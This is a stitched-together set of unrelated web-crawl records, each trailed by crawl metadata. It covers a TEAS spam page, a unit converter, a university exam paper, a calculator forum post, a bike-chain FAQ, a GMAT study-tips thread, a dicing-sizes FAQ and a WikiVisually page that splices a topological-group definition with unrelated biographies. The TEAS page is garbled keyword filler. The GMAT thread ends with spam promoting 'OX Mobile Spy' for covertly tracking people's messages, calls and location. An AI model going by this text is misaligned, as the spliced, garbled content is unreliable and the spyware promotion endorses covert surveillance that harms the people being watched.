E-Tests for TEAS, please send a PDF (or MS Word) e-mail to: [email protected] Abstract and text question. Here you can record the categories of the answers for your survey. To download such a PDF, you must be logged into SP4M with a web browser. Please reference the web page’s URL at http://sp4m.com. Please be careful and do not use confirm or “ignore” buttons to obtain a PDF at the first sign of an E-question. E-Tests for TEAS Question For questions that are specific to either a test or a task for TEAS, More about the author answers should start at the pop over to this web-site text (in the topic) and include the following text: …
## How Many Online Classes Should I Take Working Full Time?
It’s even tougher to read the text when you have to use an index for a TEAS questions like A1… … B1…. … B2…. …
B3…. … B4…. … B5…. ..
. …. … P2…. … … P3..
## Take A Test For Me
.. … … P1….. … … .
## On The First Day Of Class
.. … … P2…. … … ..
. … …. … …. …. .
## What Visit Website The Best Online It Training?
… If the answer from the E-Tests for Questions A2,… … … … … .. | 708 | 2,779 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.46875 | 3 | CC-MAIN-2024-30 | latest | en | 0.909189 |
https://www.convertunits.com/from/range/to/centimeter | 1,638,232,710,000,000,000 | text/html | crawl-data/CC-MAIN-2021-49/segments/1637964358847.80/warc/CC-MAIN-20211129225145-20211130015145-00062.warc.gz | 784,604,053 | 13,123 | ››Convert range to centimetre
range centimeter
››More information from the unit converter
How many range in 1 centimeter? The answer is 1.0356165824916E-6.
We assume you are converting between range and centimetre.
You can view more details on each measurement unit:
range or centimeter
The SI base unit for length is the metre.
1 metre is equal to 0.00010356165824916 range, or 100 centimeter.
Note that rounding errors may occur, so always check the results.
Use this page to learn how to convert between ranges and centimetres.
Type in your own numbers in the form to convert the units!
››Quick conversion chart of range to centimeter
1 range to centimeter = 965608.33122 centimeter
2 range to centimeter = 1931216.66243 centimeter
3 range to centimeter = 2896824.99365 centimeter
4 range to centimeter = 3862433.32487 centimeter
5 range to centimeter = 4828041.65608 centimeter
6 range to centimeter = 5793649.9873 centimeter
7 range to centimeter = 6759258.31852 centimeter
8 range to centimeter = 7724866.64973 centimeter
9 range to centimeter = 8690474.98095 centimeter
10 range to centimeter = 9656083.31217 centimeter
››Want other units?
You can do the reverse unit conversion from centimeter to range, or enter any two units below:
Enter two units to convert
From: To:
››Definition: Centimeter
A centimetre (American spelling centimeter, symbol cm) is a unit of length that is equal to one hundreth of a metre, the current SI base unit of length. A centimetre is part of a metric system. It is the base unit in the centimetre-gram-second system of units. A corresponding unit of area is the square centimetre. A corresponding unit of volume is the cubic centimetre.
The centimetre is a now a non-standard factor, in that factors of 103 are often preferred. However, it is practical unit of length for many everyday measurements. A centimetre is approximately the width of the fingernail of an adult person.
››Metric conversions and more
ConvertUnits.com provides an online conversion calculator for all types of measurement units. You can find metric conversion tables for SI units, as well as English units, currency, and other data. Type in unit symbols, abbreviations, or full names for units of length, area, mass, pressure, and other types. Examples include mm, inch, 100 kg, US fluid ounce, 6'3", 10 stone 4, cubic cm, metres squared, grams, moles, feet per second, and many more! | 618 | 2,421 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.78125 | 3 | CC-MAIN-2021-49 | latest | en | 0.826276 |
http://www.indiastudychannel.com/question-papers/220248-VI-Semester-BBM-Examination-April-May-2015-Freshers-Business-Management-Elective-Paper-III-Investment-and-Portfolio-Management.aspx | 1,531,891,119,000,000,000 | text/html | crawl-data/CC-MAIN-2018-30/segments/1531676590051.20/warc/CC-MAIN-20180718041450-20180718061450-00505.warc.gz | 481,630,480 | 9,022 | Posted Date: 27 Apr 2016 Posted By:: jenny Member Level: Diamond Points: 3 (Rs. 3)
# 2015 Bangalore University B.B.M. VI Semester B.B.M Examination, April/May 2015 (Freshers) Business Management: Elective Paper-III: Investment and Portfolio Management Question paper
Course: B.B.M. University/board: Bangalore University
Are you looking for Business Management Paper from Bangalore University. Here is the previous year question paper from Bangalore University.This is the original question paper from Bangalore University, B.B.M VI Semester Business Management: Investment and Portfolio Management.
Bangalore university
VI Semsester B.B.M. Examination, April/May 2015
Semester Scheme
2014-15 and Onwards- Freshers
Paper- Elective paper-III: Investment and Portfolio Management
Time: 3 Hours Max Marks:100
Instruction: Answers should be written in english only.
SECTION-A
Answer any eight questions. Each question carries two marks. (8x2=16)
a. What is the meaning of Investment?
b. What is an Arbitrage?
c. How is Earning Per Share calculated? State two assumptions of technical analysis.
e. What is Alpha coefficient?
f. What is efficient protfolio?
g. What is single-index model?
h. How do you calculate Treynor's measure?
i. What is GDR?
j. Expand NASDAQ and BSE.
SECTION-B
II Answer any three questions. Each question carries eight marks. (3x8=24)
2. Distinguish between investment and speculation.
3. Explain briefly fundamental analysis.
4. What is APT? What are its assumptions?
5. Pearl and Diamond are two mutual funds. Pearl has a mean success of 0.15 and Diamond has 0.22. The Diamond has double the
beta of Pearl fund's 1.5. The standard deviations of Pearl and Diamond funds are 15% and 21.43%. The mean return of market index
is 12% and its standard deviation is 7. The risk free rate is 8%.
a. Compute the Jensen Index for each fund and
b. Compute the Treynr Index for each funds.
SECTION-C
Answer question no 10 and any of the remaining. Each question carries 15 marks. (4x15=60)
6. Explain in detail the Dow theory and how is it used to determine the direction of stock market.
7. What is FCCB? Explain its features, benefits to companies and investors.
8. The risk and return of two projects is given below. The correlation coefficient is +1.0. Mr.Ram plans to invest 70% of his funds in
Project 'A' and 30% in Project 'B'. Find out risk and return. Project 'A' has an unexpected return 12% and risk of 3% where as Project
'B' has a return of 20% and risk of 7%.
9. The return on two securities 'A' and 'B' are given below. Select the security according to risk and return.
Probability Return
A B
0.50 5 1
0.40 4 3
0.10 0 3
10. Distinguish between risk and uncertainty. Explain the types of risk.
*******************************
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• | 932 | 3,977 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.125 | 3 | CC-MAIN-2018-30 | latest | en | 0.878641 |
http://web2.0calc.com/questions/help_73127 | 1,503,317,487,000,000,000 | text/html | crawl-data/CC-MAIN-2017-34/segments/1502886108268.39/warc/CC-MAIN-20170821114342-20170821134342-00180.warc.gz | 460,151,241 | 5,584 | +0
# help
0
34
1
Which is the most accurate way to estimate 74% of 69?
Guest Feb 16, 2017
Sort:
#1
+89806
0
Which is the most accurate way to estimate 74% of 69?
74% is almost 3/4 (75%) = 50%+25%
34+17=51
Melody Feb 16, 2017
### 18 Online Users
We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners. See details | 154 | 492 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.875 | 3 | CC-MAIN-2017-34 | longest | en | 0.888956 |
https://coversuper.net/bike/readers-ask-what-size-chain-should-i-use-for-my-single-speed-mountain-bike.html | 1,685,590,106,000,000,000 | text/html | crawl-data/CC-MAIN-2023-23/segments/1685224647525.11/warc/CC-MAIN-20230601010402-20230601040402-00456.warc.gz | 225,727,113 | 11,049 | # Readers ask: What Size Chain Should I Use For My Single Speed Mountain Bike?
## Are all single speed bike chains the same size?
All modern bicycle chains are made to the “one-half inch pitch” standard, meaning from rivet to rivet is nominally 0.5 inches. The sprocket teeth are cut for this same one-half inch standard to accept bicycle chains. However, this does not mean all makes and models of chains are interchangeable.
## What size bike chain do I need single speed?
1/8″ chains are used exclusively for single speed setups. In addition to the other answers, I found it helpful to read that the nominal width of a chain (1/8 or 3/32) actually refers to the width of the sprocket.
## How do I know what size mountain bike chain I need?
Begin by counting the number of teeth on the largest front sprocket and largest rear. These numbers are often printed right on the sprockets and cogs. Next, measure the distance between the middle of the crank bolt to the rear axle. This is also the chain stay length.
## What is the best single speed gear ratio?
If you’re just starting out on your adventure on a single speed or fixed gear bike, a gear ratio of around 2.7-2.8 will be ideal.
You might be interested: FAQ: 5'7 Which Bike Size?
## Can I use an 8 speed chain on a single speed bike?
Since single speed chain is by far the cheapest, there is no need to experiment with multi speed chains. However, 6 to 8 speed chains can fit some single speed bicycles – depending on the chainring width.
## How often should I change my bike chain?
The 2,000-Mile Rule. To avoid this accelerated wear of your cassette and chainrings, a general rule of thumb is to replace your bike’s chain every 2,000 miles. Mind you, this is just a starting point. No two chains will wear at exactly the same rate because no two riders treat their chains the same.
## How do I know what speed my bike is?
Multiply the front gear number by the rear gear number to get the number of speeds. For example, if you have two front gears and five back gears, you have a 10-speed bike. If you have one front gear and three back gears, you have a 3-speed bike.
## How many links should be in a single speed chain?
A new bicycle chain usually comes with 116 links. This is long enough for the biggest chainrings and for most distances of the rear wheel from the front chainring. So for optimal length, a new chain is usually shortened from the 116 links that come in the box.
## Are 11 and 12 speed chains the same?
12-speed chains can operate just fine with 11-speed cassettes. The main exception are Shimano’s new 12-speed HG+ models which are heavily optimized for downshifting and thus come with custom inner plates that don’t mix well with non-Shimano 12-speed components.
You might be interested: FAQ: What Size Mountain Bike For Six Foot?
## How do I know if my bike chain is too short?
You should also see two slight bends at each jockey wheel of the rear derailleur. If the chain is too short, this shift is difficult to make and the derailleur cage is stretched out and almost parallel to the chainstay. If the chain is really short, then you might not even be able to shift into the largest cog. | 739 | 3,196 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.640625 | 3 | CC-MAIN-2023-23 | latest | en | 0.922567 |
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# Friend and Family Support on Your GMAT Journey
Author Message
Current Student
Joined: 12 Sep 2011
Posts: 900
Concentration: Finance, Finance
GMAT 1: 710 Q48 V40
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28 Dec 2011, 23:18
7
KUDOS
So by now you've figured out that studying for the GMAT is pretty tough. The 5 hours of studying a week just doesn't seem to be cutting it. You've got family, work, friends, maybe kids, and other obligations all needing your immediate attention. No one said the GMAT was going to be easy right? Well, this might be your first taste of what getting an MBA feels like. Studying is not all its cracked up to be!
One of the best ways to kick start your studying is to get your friends, family, significant others, and everyone and everything else in line and set expectations before you start your GMAT Journey. Here are some tips and tricks to get the most important things in life on board with your GMAT studying so that you can put 100% concentration on your goals.
1. Set Expectations
You're just beginning your GMAT journey and you've realized that this is going to take some serious dedication. You might not be the same b/f or g/f, spouse, or worker until your done with this. It is always an excellent idea to speak with the people you care about most. This will be your significant others, kids, wives, husbands, friends, or anyone else you turn to often. Tell them about your GMAT and MBA aspirations and let them know that your going to need their support and help while you put in the long hours. Let them know that this might be your part time job for awhile, but that it's all going to pay off when you're making the big bucks after your MBA! Having their support will be needed, and managing expectations from the beginning, and having the tough conversations will let you have a smooth GMAT journey.
2. Get Your Loved Ones Involved
Well, it might not be the best idea to study with your spouse or friends, but there are definitely some great ways you can get them involved and actually maybe even get some enjoyment out of studying. Here are a few examples: Ask for GMAT related gifts for holidays, birthdays, special dates, etc: Finding that perfect gift can be challenging, so why not let them know exactly what you want. Plus it will show your commitment, and allow them to get involved. Set aside a specific night of the week with no GMAT: Having that night away from the GMAT will not only keep you from getting "burn out" it will also show your loved ones that you care. Plus, it's a night of the week that not only you, but they can look forward to also. Let them know how much you appreciate their support: Sometimes its as stressful for the people not taking the test as it is for you. They play off your emotions, and come along for the rollercoaster ride. Continue to thank them and show them that you appreciate their support. Sometimes the best thing to do is to set up a vacation, special dinner, or event the night or weekend after your actual exam date. Make this the date that both you and your loved ones can look forward to regardless of how you do on your test.
3. Minimize Negativity
This may be an obvious one, but you'd be surprised how easy it can be to have negative energy around you during your studies. Remind all your loved ones that you're truly dedicated to this journey, and make sure to let them know that you want to keep things as positive as possible. If your friends are giving you a hard time over low test scores, and making it a competition, you're going to have to take a break or ask that they stay away from those topics. It will only increase anxiety. For your family and loved ones, you'll have to request that they stay as positive as possible, and remind them when negative things come up, to just let them go so that it doesn't get in the way of your goals. A lot of this negativity won't seem so big 10 years from now when you're on your private jet right? Don't let the small stuff get in the way of your studying, and your ability to attain your goals.
The GMAT can be an overwhelming experience if you let it take over every aspect of your life! It's a big change from your normal day to day, and following these tips can really help with your transition into student life. This is a taste of what an MBA is about, and by being a mature adult, and having the tough conversations, you'll be well on your way to test day success. The GMAT is full of intangibles, all that will help you no test day... if you need further proof, check out these other tips I've compiled: 10-tips-to-improve-your-score-app-with-no-extra-studying-124393.html
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28 Dec 2011, 23:36
kudos +1
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GMAT Club Premium Membership - big benefits and savings
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29 Dec 2011, 04:41
GMATLA, you got some really nice ideas and threads. Keep it up
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Set your aims high, carpe diem
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28 Feb 2012, 00:52
Thanks for the reply. My family has been very supportive and they have been able to enroll me in a proper GMAT preparation class. I believe that the class will be very helpful, even better than the previous one I took.
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Joined: 28 May 2012
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01 Jul 2013, 20:01
Who needs phone location track and how to track phone location with this OX Mobile Spy?
Company who distribute cell phones always want to learn whether their employees are in rational use of vehicle and they go to the place where they should go, Cell Phone GPS Tracker gives you detailed information you want to learn with GPS location.
Location-specific information can be tracked especially for person who get lost when travelling unfamiliar places, or elder parents who are in amnesia may forget where home is, children get lost and so on. Then this OX Mobile Spy mobile phone location track function urgently needed.
OX Mobile Spy is both a mobile phone information backup software and a spy-tracking software, Which all depends on how to use it and how to review of it. By the using of it's backup function, you can easily backup contacts, messages, calls to your own email. By the using of it's spy-tracking software, you can use ox mobile spy's GPS location trace to find lost persons, use software installed in cellphone, messages, contacts and calls information to monitor your kid's suspicious behaviour.
You can try this function is very powerful OX Mobile Spy software
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16 Jul 2013, 23:49
Recently, i search mobile phone spy and come across ox mobile spy, then download from cnet, yes, professional mobile phone spying software.
Re: Friend and Family Support on Your GMAT Journey [#permalink] 16 Jul 2013, 23:49
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# Friend and Family Support on Your GMAT Journey
Moderators: HiLine, WaterFlowsUp
Powered by phpBB © phpBB Group and phpBB SEO Kindly note that the GMAT® test is a registered trademark of the Graduate Management Admission Council®, and this site has neither been reviewed nor endorsed by GMAC®. | 2,127 | 8,735 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.984375 | 3 | CC-MAIN-2017-13 | longest | en | 0.952172 |
https://eatwithus.net/your-question-how-large-is-a-dice-in-cooking-2/ | 1,696,387,493,000,000,000 | text/html | crawl-data/CC-MAIN-2023-40/segments/1695233511351.18/warc/CC-MAIN-20231004020329-20231004050329-00889.warc.gz | 244,792,897 | 48,926 | # Your question: How large is a dice in cooking?
Table Of Content
Dice refers to ingredients cut to a little, evenly sized square. The basic size is a 1\/2-inch square. Essentially that’s the size of– you guessed it– a die. Of course, the size can vary (some dishes might call for a two-inch dice), but most often this is the size to opt for.
## How large is large dice?
Big dice (“Carré” suggesting “square” in French); sides measuring roughly 3⁄4 inch (20 mm). Medium dice (Parmentier); sides determining approximately 1⁄2 inch (13 mm). Small dice (Macédoine); sides determining roughly 1⁄4 inch (5 mm). Brunoise; sides determining around 1⁄8 inch (3 mm)
## How big is a dice cube?
Brunoise– ⅛ x ⅛ x ⅛ inch (3x3x3 mm) cubes. Small dice– 1\/4 x 1\/4 x 1\/4 inch (6x6x6 mm) cubes. Medium dice– ⅜ x ⅜ x ⅜ inch (9x9x9 mm) cubes. Big dice– ⅝ x ⅝ x ⅝ inch (1.5 x 1.5 x 1.5 cm) cubes.
## What is matchstick cut?
Julienne. The julienne is also referred to as the matchstick cut. As its name suggests, what you’re going for is a thin, stick-shape cut. To make a julienne cut, square off your vegetable then cut lengthwise into 3mm-thin rectangular slices. Then cut these slices into matchsticks.
## What are the 3 sizes of dice cooking?
Dicing is a much more exact and frequently smaller cutting method. With completion objective of cutting an active ingredient into cubes of the exact same size, there are 3 dice cut sizes– large, medium, and small.
## What are the 9 guidelines for knives?
Safety Standards
• Keep knives sharp. …
• Use a cutting glove. …
• Constantly removed from yourself. …
• Use the best knife for the job. …
• Cut on a steady cutting board. …
• Never get a falling knife. …
• Bring the knife pointed down, or in a scabbard.
## What is a Macedoine cut?
A term utilized to describe the process of dicing components into 1\/4 inch cubes or a term that is used to explain a preparation of fruits or veggies that have been diced (cubes that are 1\/4 inch square) to be served either cold (raw) or hot (prepared).
## What are the 3 examples of strip cuts?
Basic Types of Strip Cuts
• Batonnet. Bâtonnet, pronounced bah-tow-nay, is a French word that suggests “little sticks”. …
• Julienne (or Allumette if it’s a potato) …
• Great Julienne. …
• Carré (Large dice) …
• Parmentier (Medium dice) …
• Macédoine (Small dice) …
• Brunoise. …
• Fine brunoise.
## How many dice do you need?
Basic set of seven dice– a four-sided (d4), six-sided (d6), eight-sided (d8), ten-sided (d10), ten-sided percentile (d10 in 10’s), a twelve-sided (d12), and the timeless twenty-sided (d20) dice. I like this specific set since the numbers are super simple to see!
INTERESTING READ Question: What to do with tofu before cooking? | 769 | 2,741 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.515625 | 3 | CC-MAIN-2023-40 | longest | en | 0.886279 |
https://wikivisually.com/wiki/Topological_group | 1,585,442,902,000,000,000 | text/html | crawl-data/CC-MAIN-2020-16/segments/1585370493121.36/warc/CC-MAIN-20200328225036-20200329015036-00431.warc.gz | 763,555,893 | 12,919 | SUMMARY / RELATED TOPICS
In mathematics, a topological group is a group G together with a topology on G such that both the group's binary operation and the function mapping group elements to their respective inverses are continuous functions with respect to the topology. A topological group is a mathematical object with both an algebraic structure and a topological structure. Thus, one may perform algebraic operations, because of the group structure, one may talk about continuous functions, because of the topology. Topological groups, along with continuous group actions, are used to study continuous symmetries, which have many applications, for example, in physics. A topological group, G, is a topological space, a group such that the group operations of product: G × G → G: ↦ x y and taking inverses: G → G: x ↦ x − 1 are continuous. Here G × G is viewed as a topological space with the product topology. So the product is continuous if for all open U ⊆ G such that x y ∈ U, there exists open V × W ⊆ G × G with ∈ V × W and V ⋅ W:= ⊆ U, taking inverses is continuous if for all open U ⊆ G with x − 1 ∈ U, there exists an open V ⊆ G with x ∈ V, such that V − 1:= ⊆ U.
Although not part of this definition, many authors require. The reasons, some equivalent conditions, are discussed below. In any case, any topological group can be made Hausdorff by taking an appropriate canonical quotient. In the language of category theory, topological groups can be defined concisely as group objects in the category of topological spaces, in the same way that ordinary groups are group objects in the category of sets. Note that the axioms are given in terms of the maps, hence are categorical definitions. A homomorphism of topological groups means a continuous group homomorphism G → H. An isomorphism of topological groups is a group isomorphism, a homeomorphism of the underlying topological spaces; this is stronger than requiring a continuous group isomorphism—the inverse must be continuous. There are examples of topological groups that are isomorphic as ordinary groups but not as topological groups. Indeed, any non-discrete topological group is a topological group when considered with the discrete topology.
The underlying groups are the same. Topological groups, together with their homomorphisms, form a category; every group can be trivially made into a topological group by considering it with the discrete topology. In this sense, the theory of topological groups subsumes that of ordinary groups; the real numbers, R with the usual topology form a topological group under addition. Euclidean n-space Rn is a topological group under addition, more every topological vector space forms an topological group; some other examples of abelian topological groups are the circle group S1, or the torus n for any natural number n. The classical groups are important examples of non-abelian topological groups. For instance, the general linear group GL of all invertible n-by-n matrices with real entries can be viewed as a topological group with the topology defined by viewing GL as a subspace of Euclidean space Rn×n. Another classical group is the orthogonal group O, the group of all linear maps from Rn to itself that preserve the length of all vectors.
The orthogonal group is compact as a topological space. Much of Euclidean geometry can be viewed as studying the structure of the orthogonal group, or the related group O ⋉ Rn of isometries of Rn; the groups mentioned so far are all Lie groups, meaning that they are smooth manifolds in such a way that the group operations are smooth, not just continuous. Lie groups are the best-understood topological groups.
Igor Siqueira Pessanha or Igor is a Brazilian footballer who plays as a striker for Santo André in Brazil. Igor moved to Campeonato Brasileiro Série C club, Adap Galo Maringá from Corinthians for the 2007 season, he was transferred to Sevilla on 1 August 2007 on a five-year contract. He participated in the 2005 FIFA World U-17 Cup for Brazil, played the whole final where they lost 3-0 to Mexico, he was joint runner-up to the golden boot, bagging four goals in the tournament. He has played for various levels at the national set-up from U-15 to U-17, scoring a total of 37 goals in 50 games. Stats at ForaDeJogo theFA.com www2.br esportes
Charles Garrett Holder was a politician from Alberta, Canada. He served in the Legislative Assembly of Alberta from 1935 to 1940 and from 1944 to 1948 as a member of the Social Credit caucus. Holder ran for a seat to the Alberta Legislature for the first time in the 1935 general election, as a Social Credit candidate in the electoral district of St. Albert, he defeated incumbent Omer St. Germain to pick up the seat for his party. Holder ran for a second term in the 1940 general election, he was defeated by independent candidate Lionel Tellier on the fourth count. Holder was nominated to run for Social Credit again at a convention held in Morinville on February 9, 1944, he ran in the general election won on the second vote count. He retired from the assembly at dissolution in 1948. Legislative Assembly of Alberta Members Listing
Lancelot Link, Secret Chimp is an American action/adventure comedy series that aired on ABC from September 12, 1970 to January 2, 1971. The Saturday morning live-action film series featured a cast of chimpanzees given apparent speaking roles by overdubbing with human voices. Lancelot Link, Secret Chimp had a "seven-figure budget" with location filming and costumes, the laborious staging and training of the animals; the filmmakers made the most of the budget, staging multiple episodes with the same settings and wardrobe reusing the more elaborate chase footage. Lance Link drove a 1970 Datsun Sports 2000 while villain Baron Von Butcher used a late-'50s Rolls-Royce Silver Cloud; the primates themselves rode. Two of the three producers/creators were Stan Burns and Mike Marmer, former writers for Get Smart! Both resigned from their jobs as head writers on The Carol Burnett Show to work on Lancelot Link, Secret Chimp. According to The Believer, "to make the dialogue fit the chimps’ lip action and Marmer went to ridiculous lengths.
Voiceovers were ad-libbed on the set, giving birth to beautifully absurd moments of the chimps breaking into songs at the end of sentences or spontaneously reciting Mother Goose rhymes just so it would look right." Owing considerable lineage to Get Smart, the plot was always played for laughs and featured Lancelot Link and his female colleague, "Mata Hairi," whose own name in turn was a play on Mata Hari, in secret agent and spy satires. Link worked for A. P. E; the Agency to Prevent Evil, in an ongoing conflict with the evil organization C. H. U. M. P; the Criminal Headquarters for the Underworld's Master Plan. APE's chief Darwin gave Link and Hairi their orders as part of his "theory," a play on the Charles Darwin theory of evolution. CHUMP's monocled chief Baron von Butcher hatched the latest plan to endanger the world; the Baron's network of international fiends included his shifty chauffeur Creto, mad scientist Dr. Strangemind, imperious Dragon Woman, drowsy Wang Fu, singing sheikh Ali Assa Seen, the cultured Duchess.
One or more would appear in each episode. A regular weekly feature was chimp TV host "Ed Simian" introducing a musical number by an all-chimp band, "The Evolution Revolution." An album of these songs was released on the ABC/Dunhill record label. There were Lancelot Link comic books and other merchandise, including Halloween costumes. Another regular feature consisted of a short series of brief comedy sketches which showed a chimp sneezing causing a funny gag to happen. A curious feature of the apartment set which Lancelot Link and Mata Hairi used as their base was that the sofa had a secret entrance/exit, opened by lifting one of the cushions; the episodes were all narrated, by Malachi Throne. Lancelot Link - His surname is a reference to'The Missing Link' Mata Hairi - Her name was a take-off on Mata Hari. Commander Darwin - Named after Charles Darwin. Bruce - Official A. P. E. Courier. Baron von Butcher - Modeled on Kopell's character of "Siegfried" in the television show Get Smart! Kopell is believed to have approached his voicings of the Baron as if Siegfried were the head of KAOS.
The Dragon Woman - Her name was a take-off on the Dragon Lady, a villainess in the Terry and the Pirates comic strip series. Creto - His name was a play on the word "cretin." A play on Kato, the Green Hornet's chauffeur and crime-fighting "sidekick". Wang Fu - His name was a play on Kung Fu; the Duchess Ali Assa Seen - His last name was meant to sound like "assassin." Dr. Strangemind - Name inspired by Dr. Strangelove. Marty Mandrill - Former songwriter for The Evolution Revolution turned C. H. U. M. P. Spy. Unnamed Orangutan - Appeared in cameos as a picturesque extra. Referred to by Lance as "that weirdo". Blackie - The drummer in The Evolution Revolution. Ed Simian - A parody of famous television MC Ed Sullivan. Parnelli Smith - An auto racing champ and supplier of cars to A. P. E, his name was a take-off on former Indy 500 champion Parnelli Jones. Bart Sparks - MC of the Miss Globe contest. Herman - C. H. U. M. P. Henchman; this all-chimp band, dressed in colorful hippie-style wigs and wardrobe, featured Lancelot Link on guitar and Mata Hairi on tambourine, with Blackie as "Bananas Marmoset" on the drums.
"SweetWater Gibbons" was credited for playing Farfisa organ, although the organ pictured in the clips was a Vox Continental organ. In the episode "The Evolution Revolution", it was established that the band's music was used to communicate coded messages for A. P. E. Agents; the songs were co-written and performed by Steve Hoffman, in the Bubblegum pop style in vogue. A Lancelot Link record album was released on ABC/Dunhill, as well as a single titled "Sha-La Love You", a song intended for The Grass Roots; some songs contained heavy guitar riffs. An Evolution Revolution song, "Wild Dreams, Jelly
Dixie M. Hollins High School is a public secondary school located in St. Petersburg, Florida; the school was opened in 1959 as a vocational school for grades 10–12, but it has since expanded to offer 9th grade education. The current population of the school is just under 1,800 students, its graphic arts program, known as the Academy of Entertainment Arts, is designated as a center of excellence. Dixie Hollins offers a program in the culinary arts, designated as a center of excellence; the school offers Cambridge/AICE curriculum, as well as a Junior Reserve Officers' Training Corps program. When Pinellas County separated from Hillsborough County and became its own entity in 1912, Dixie Maurice Hollins was appointed as Superintendent of Pinellas County Schools. Hollins promoted the rights of black students to have certified teachers, to attend a full school day, to attend school for more than just a few months per year; when Dixie Hollins High School opened its doors for the first time in the fall of 1959, it was first named Northwest High School.
The School Board decided to name the new high school after Dixie Hollins. Opening in 1959, Dixie Hollins High School was named after the first superintendent of Pinellas County Schools, the district in which the school is located, his family still operates one of the largest ranches in the state in Citrus County. He donated the land for both Madeira Beach Middle Schools. To this day his estate provides contributions to Dixie's music program. In 1971, the school became national news when the campus became embroiled in a community protest against racial integration through forced busing; the unrest had been building for several weeks. When the school decided to ban the use of the Confederate flag, community groups began picketing the school; the unrest broke out into violence on October 12, 1971. When Florida schools mandated kindergarten, Dixie Hollins High School incorporated 9th grade into its curriculum; the school underwent extensive renovations in 1992–1996, adding a two-story science wing, a new media center and cafeteria, an art building, a music building, upgrading the existing classrooms, the gymnasium, the vocational wing.
Official Pinellas County School Board website for Dixie M. Hollins High School
Jean Yu is a Korean born fashion designer operating in New York City. She is a member of Council of Fashion Designers of America since 2007, was one of the top ten finalists for the CFDA/Vogue fashion fund in 2005. Yu was born in South Korea but her family moved to the United States and lived in California. Yu moved in New York to study at the Fashion Institute of Technology. While there, she produced her first dresses for a school project, she took the dress to shops in Soho, where they were sold. This inspired her to design a line of dresses that earned her the Innovator Design Award from Cotton Incorporated. After 9/11, Yu opened up her own boutique in December 2001. In 2005, she was named a finalist for the second annual Fashion Fund Award, created by the Council of Fashion Designers of America and Vogue Magazine. In 2007, she was a featured designer at the New York Fashion Exhibition at the Victoria & Albert Museum in London; as well, she was the recipient of Avenuel Designer award as Designer of the Year.
In 2014, she stepped away from lingerie and designed a wardrobe inspired by folk art for the show “Folk Couture: Fashion and Folk Art,” at the American Folk Art Museum. Jean Yu is known for her architectural approach and seamless technique, her lingerie have been described as "reinterpreting Old Hollywood glamour with a few innovative design twists."Her dresses have been featured in many fashion publications such as Vogue, Vanity Fair, The New York Times, W. Gwen Stefani was wearing her dress on the cover of the June 2004 edition of the American Vogue. Jean Yu's official site New York Times article | 3,149 | 14,011 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.078125 | 3 | CC-MAIN-2020-16 | longest | en | 0.93935 |
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# ISO GD&T question
